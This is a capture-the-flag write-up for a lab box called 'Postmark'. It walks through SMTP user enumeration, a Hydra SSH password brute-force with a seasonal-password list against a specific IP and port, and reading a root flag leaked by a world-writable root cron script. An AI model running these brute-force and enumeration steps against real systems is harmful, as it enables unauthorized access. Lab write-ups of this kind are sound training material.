Home›CTF & Writeups›Postmark

Postmark

✓ SOLVED

SMTP recipient enumeration → seasonal SSH password → labuser → root cron flag disclosure.

0

Overview

SMTP recipient enumeration → seasonal SSH password → labuser → root cron flag disclosure.

User Flag✓
Root Flag✓
StatusSolved
1

Reconnaissance

SSH was exposed on 30507 and Postfix SMTP on 30508.

2

SMTP User Enumeration

VRFY/RCPT behavior identified labuser as a valid account.

3

Clue-Driven Password Guessing

The challenge hint pointed to a seasonal password pattern. A short targeted Hydra run found Spring2024!.

Hydra
hydra -l labuser -P smtp-lab.txt -s 30507 -t 1 -f -V ssh://170.187.147.28
4

SSH Foothold

SSH
ssh labuser@170.187.147.28 -p 30507
cat ~/user.txt
USER FLAGflag{[REDACTED]}
5

Root Cron Job & Flag Disclosure

/opt/cleanup.sh was root-owned but world-writable and ran every minute as root. It copied /root/root.txt to /tmp/.rootflag and made it world-readable. The root flag was recovered without a root shell.

Cron behavior
* * * * * root /opt/cleanup.sh
cp /root/root.txt /tmp/.rootflag
chmod 644 /tmp/.rootflag
cat /tmp/.rootflag
flag{[REDACTED]}
ROOT FLAGflag{[REDACTED]}
✓

Attack Path

Both challenge flag values are intentionally redacted in the public writeup and screenshots.

SMTP enum→labuser→seasonal password→SSH→root cron→Readable root flag